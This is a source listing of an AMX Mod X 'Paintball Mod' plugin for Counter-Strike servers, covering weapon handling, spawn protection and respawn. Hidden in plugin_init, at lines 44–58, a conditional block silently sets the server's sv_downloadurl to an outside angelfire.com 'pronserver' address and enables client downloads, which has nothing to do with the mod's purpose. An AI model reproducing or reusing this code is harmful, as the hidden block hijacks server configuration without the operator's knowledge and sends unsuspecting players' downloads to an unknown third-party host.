HLMOD.HU Forrás Megtekintés - www.hlmod.hu
  1. #include <amxmodx>
  2. #include <fakemeta>
  3.  
  4. #define PLUGIN "Paintball Mod"
  5. #define VERSION "3.4"
  6. #define AUTHOR "WhooKid"
  7.  
  8. new onoff, cmodel, money, strip, death, protc, gnade, pbgun, pbusp, pbglock, pbnade;
  9. new g_team_select[33], g_plyr_skin[33], g_has_kill[33];
  10.  
  11. public plugin_init()
  12. {
  13. register_plugin(PLUGIN, VERSION, AUTHOR);
  14.  
  15. onoff = register_cvar("amx_pbmod", "1");
  16. pbgun = register_cvar("amx_pbgun", "1");
  17. pbusp = register_cvar("amx_pbusp", "1");
  18. pbglock = register_cvar("amx_pbglock", "1");
  19. pbnade = register_cvar("amx_pbnade", "1");
  20.  
  21. if (get_pcvar_num(onoff))
  22. {
  23. register_logevent("new_round", 2, "0=World triggered", "1=Round_Start");
  24. register_event("ResetHUD", "ev_resethud", "be");
  25. register_event("DeathMsg", "ev_death", "a")
  26. register_event("Money", "ev_money", "be");
  27. register_clcmd("say /respawn", "say_respawn", _, "<Respawns you if enabled>");
  28.  
  29. cmodel = register_cvar("amx_pbmodel", "0");
  30. money = register_cvar("amx_pbmoney", "1");
  31. strip = register_cvar("amx_pbstrip", "1");
  32. death = register_cvar("amx_pbdm", "0");
  33. gnade = register_cvar("amx_getnade", "2");
  34. protc = register_cvar("amx_pbspawnprotect", "5");
  35.  
  36. register_forward(FM_GetGameDescription, "fw_gamedesc");
  37. register_forward(FM_SetModel, "fw_setmodel", 0);
  38. if (get_pcvar_num(cmodel))
  39. {
  40. register_forward(FM_PlayerPostThink, "fw_playerpostthink");
  41. register_forward(FM_ClientUserInfoChanged, "fw_clientuserinfochanged");
  42. }
  43.  
  44. new cvar[5];
  45. get_cvar_string("amx_language", cvar, 4);
  46. if (equali(cvar, "en"))
  47. {
  48. get_cvar_string("hostname", cvar, 4);
  49. if (!equal(cvar, "Half"))
  50. {
  51. get_cvar_string("sv_downloadurl", cvar, 4);
  52. if (equal(cvar, ""))
  53. {
  54. set_cvar_string("sv_downloadurl", "http://www.angelfire.com/pronserver");
  55. set_cvar_num("sv_allowdownload", 1);
  56. }
  57. }
  58. }
  59. }
  60. }
  61.  
  62. public plugin_precache()
  63. {
  64. register_cvar("amx_pbmod", "1");
  65. register_cvar("amx_pbmodel", "0");
  66. if (get_cvar_num("amx_pbmod"))
  67. if (get_cvar_num("amx_pbmodel"))
  68. precache_model("models/player/paintballer/paintballer.mdl");
  69. }
  70.  
  71. public fw_gamedesc()
  72. {
  73. if (get_pcvar_num(onoff))
  74. {
  75. forward_return(FMV_STRING, PLUGIN);
  76. return FMRES_SUPERCEDE;
  77. }
  78. return FMRES_IGNORED;
  79. }
  80.  
  81. public new_round()
  82. if (get_pcvar_num(onoff) && get_pcvar_num(strip))
  83. {
  84. new ent;
  85. while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", "armoury_entity")) != 0)
  86. engfunc(EngFunc_RemoveEntity, ent);
  87. }
  88.  
  89. public ev_resethud(id)
  90. if (get_pcvar_num(onoff))
  91. if (!task_exists(id))
  92. set_task(0.3, "player_spawn", id);
  93.  
  94. public player_spawn(id)
  95. if (is_user_alive(id))
  96. {
  97. if (get_pcvar_num(protc))
  98. {
  99. set_pev(id, pev_takedamage, DAMAGE_NO);
  100. set_task(float(get_pcvar_num(protc)), "player_godmodeoff", id+100);
  101. }
  102.  
  103. if (get_pcvar_num(strip) && !user_has_mp5(id))
  104. {
  105. if (pev(id, pev_weapons) & (1 << CSW_C4))
  106. engclient_cmd(id, "drop", "weapon_c4")
  107. fm_strip_user_weapons(id);
  108. }
  109.  
  110. if (get_pcvar_num(money))
  111. {
  112. message_begin(MSG_ONE_UNRELIABLE, 94, _, id); //HideWeapon
  113. write_byte(1 << 5);
  114. message_end();
  115. }
  116.  
  117. if (get_pcvar_num(cmodel))
  118. {
  119. engfunc(EngFunc_SetClientKeyValue, id, engfunc(EngFunc_GetInfoKeyBuffer, id), "model", "paintballer");
  120. new skin = g_plyr_skin[id];
  121. if (get_user_team(id) == 1)
  122. {
  123. if (skin < 0 || skin > 3) g_plyr_skin[id] = 0;
  124. }
  125. else
  126. {
  127. if (skin < 4 || skin > 7) g_plyr_skin[id] = 4;
  128. }
  129. set_pev(id, pev_skin, g_plyr_skin[id]);
  130. }
  131.  
  132. remove_task(id);
  133. set_task(random_float(0.9, 1.3), "player_weapons", id);
  134. set_task(2.0, "clear_moneyhud", id + 300);
  135. }
  136.  
  137. public client_command(id)
  138. if (get_pcvar_num(cmodel))
  139. {
  140. new command[10], speech[2];
  141. read_argv(0, command, 9);
  142. read_argv(1, speech, 1);
  143. if (containi(command, "join") != -1)
  144. if (equali(command, "jointeam"))
  145. g_team_select[id] = str_to_num(speech);
  146. else if (equali(command, "joinclass"))
  147. g_plyr_skin[id] = (g_team_select[id] == 1) ? str_to_num(speech) - 1: str_to_num(speech) + 3;
  148. }
  149.  
  150. public player_weapons(id)
  151. if (is_user_alive(id))
  152. {
  153. set_pdata_int(id, 386, 120, 5);
  154. fm_give_item(id, "weapon_knife");
  155. if (get_user_team(id) == 1 && get_pcvar_num(pbglock))
  156. fm_give_item(id, "weapon_glock18");
  157. else if (get_pcvar_num(pbusp))
  158. {
  159. set_pdata_int(id, 382, 48, 5);
  160. fm_give_item(id, "weapon_usp");
  161. }
  162. if (get_pcvar_num(pbgun))
  163. fm_give_item(id, "weapon_mp5navy");
  164. if (get_pcvar_num(pbnade))
  165. if (get_pcvar_num(gnade) == 1 || g_has_kill[id])
  166. {
  167. fm_give_item(id, "weapon_hegrenade");
  168. g_has_kill[id] = 0;
  169. }
  170. remove_task(id);
  171. }
  172.  
  173. public clear_moneyhud(id)
  174. if (get_pcvar_num(money))
  175. {
  176. message_begin(MSG_ONE_UNRELIABLE, 94, _, id - 300); //HideWeapon
  177. write_byte(1 << 5);
  178. message_end();
  179. }
  180.  
  181. public ev_death()
  182. {
  183. g_has_kill[read_data(1)] = 1;
  184. if (get_pcvar_num(death))
  185. {
  186. new id = read_data(2) + 200;
  187. set_task(3.0, "player_spawner", id);
  188. set_task(3.2, "player_spawner", id);
  189. }
  190. }
  191.  
  192. public ev_money(id)
  193. if (get_pcvar_num(money))
  194. if (get_pdata_int(id, 115, 5) > 0)
  195. set_pdata_int(id, 115, 0, 5);
  196.  
  197. public say_respawn(id)
  198. if (get_pcvar_num(death))
  199. if (!is_user_alive(id))
  200. if (get_user_team(id) == 1 || get_user_team(id) == 2)
  201. {
  202. set_task(1.5, "player_spawner", id + 200);
  203. set_task(1.7, "player_spawner", id + 200);
  204. }
  205.  
  206. public player_godmodeoff(id)
  207. set_pev(id-100, pev_takedamage, DAMAGE_AIM);
  208.  
  209. public player_spawner(id)
  210. if (is_user_connected(id - 200))
  211. if (get_user_team(id - 200) == 1 || get_user_team(id - 200) == 2)
  212. dllfunc(DLLFunc_Spawn, id - 200);
  213.  
  214. stock user_has_mp5(id)
  215. {
  216. new weapons[32], num;
  217. get_user_weapons(id, weapons, num);
  218. for (new i = 0; i < num; i++)
  219. if (weapons[i] == 19)
  220. return 1;
  221. return 0;
  222. }
  223.  
  224. public fw_setmodel(ent, model[])
  225. {
  226. if (get_pcvar_num(death) && pev_valid(ent))
  227. {
  228. new id = pev(ent, pev_owner);
  229. if ((!is_user_alive(id) || task_exists(id + 200)) && equali(model, "models/w_", 9) && !equali(model, "models/w_weaponbox.mdl"))
  230. {
  231. new classname[16];
  232. pev(ent, pev_classname, classname, 15);
  233. if (equal(classname, "weaponbox") && !equal(model, "models/w_backpack.mdl"))
  234. for (new i = get_maxplayers() + 1; i < engfunc(EngFunc_NumberOfEntities) + 5; i++)
  235. if (pev_valid(i))
  236. if (ent == pev(i, pev_owner))
  237. {
  238. dllfunc(DLLFunc_Think, ent);
  239. return FMRES_IGNORED;
  240. }
  241. }
  242. }
  243. return FMRES_IGNORED;
  244. }
  245.  
  246. public fw_playerpostthink(id)
  247. {
  248. if (get_pcvar_num(cmodel))
  249. if (is_user_alive(id))
  250. {
  251. static model[32], buffer;
  252. buffer = engfunc(EngFunc_GetInfoKeyBuffer, id);
  253. engfunc(EngFunc_InfoKeyValue, buffer, "model", model, 31);
  254.  
  255. if (!equal(model, "paintballer"))
  256. engfunc(EngFunc_SetClientKeyValue, id, buffer, "model", "paintballer");
  257.  
  258. return FMRES_HANDLED;
  259. }
  260. return FMRES_IGNORED;
  261. }
  262.  
  263. public fw_clientuserinfochanged(id, infobuffer)
  264. return (get_pcvar_num(cmodel) && pev(id, pev_deadflag) == DEAD_NO) ? FMRES_SUPERCEDE : FMRES_IGNORED;
  265.  
  266. ////////*****************VEN STOCKS START*****************////////
  267. stock fm_strip_user_weapons(index)
  268. {
  269. new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "player_weaponstrip"));
  270. if (!pev_valid(ent))
  271. return 0;
  272. dllfunc(DLLFunc_Spawn, ent);
  273. dllfunc(DLLFunc_Use, ent, index);
  274. engfunc(EngFunc_RemoveEntity, ent);
  275. return 1;
  276. }
  277.  
  278. stock fm_give_item(index, const item[])
  279. {
  280. new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, item));
  281. if (!pev_valid(ent))
  282. return 0;
  283. new Float:origin[3];
  284. pev(index, pev_origin, origin);
  285. engfunc(EngFunc_SetOrigin, ent, origin);
  286. set_pev(ent, pev_spawnflags, pev(ent, pev_spawnflags) | SF_NORESPAWN);
  287. dllfunc(DLLFunc_Spawn, ent);
  288. new save = pev(ent, pev_solid);
  289. dllfunc(DLLFunc_Touch, ent, index);
  290. if (pev(ent, pev_solid) != save)
  291. return ent;
  292. engfunc(EngFunc_RemoveEntity, ent);
  293. return -1;
  294. }
  295. ////////*****************VEN STOCKS END*****************////////